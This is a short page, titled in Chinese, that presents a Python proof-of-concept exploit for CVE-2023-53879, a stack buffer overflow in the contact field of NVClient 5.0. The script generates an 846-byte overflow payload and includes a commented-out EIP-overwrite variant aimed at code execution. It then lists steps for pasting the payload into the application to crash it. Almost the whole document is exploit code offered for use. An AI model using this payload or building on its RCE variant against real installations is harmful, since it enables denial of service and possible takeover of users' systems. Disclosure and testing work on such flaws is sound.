CVE-2023-53879 NVClient 5.0 栈缓冲区溢出漏洞导致拒绝服务

#!/usr/bin/env python3 # CVE-2023-53879 PoC - NVClient 5.0 Stack Buffer Overflow # Description: Stack buffer overflow in user configuration contact field # CVSS: 5.5 (Medium) - AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H import struct def generate_payload(): """ Generate malicious payload for NVClient 5.0 contact field overflow Payload overwrites 846 bytes of stack memory causing DoS """ # Contact field buffer overflow - 846 bytes to overwrite stack payload_size = 846 # Create payload that will trigger overflow # Using repeating pattern to identify overflow location payload = b'A' * payload_size # Optional: Add controlled EIP overwrite (for RCE variant) # eip_offset = 800 # Offset to EIP on stack # eip_value = struct.pack('<I', 0x41414141) # Overwrite with controlled address # payload = payload[:eip_offset] + eip_value + payload[eip_offset+4:] return payload def simulate_exploit(): """ Simulate the exploitation process This PoC demonstrates the buffer overflow in contact field """ payload = generate_payload() print(f"[*] Generating payload for CVE-2023-53879") print(f"[*] Payload length: {len(payload)} bytes") print(f"[*] Payload hex: {payload.hex()}") # In real attack scenario: # 1. Copy payload to clipboard # 2. Open NVClient 5.0 # 3. Navigate to user configuration settings # 4. Find the 'Contact' field # 5. Paste the payload (Ctrl+V) # 6. Application crashes with stack corruption return payload if __name__ == "__main__": simulate_exploit()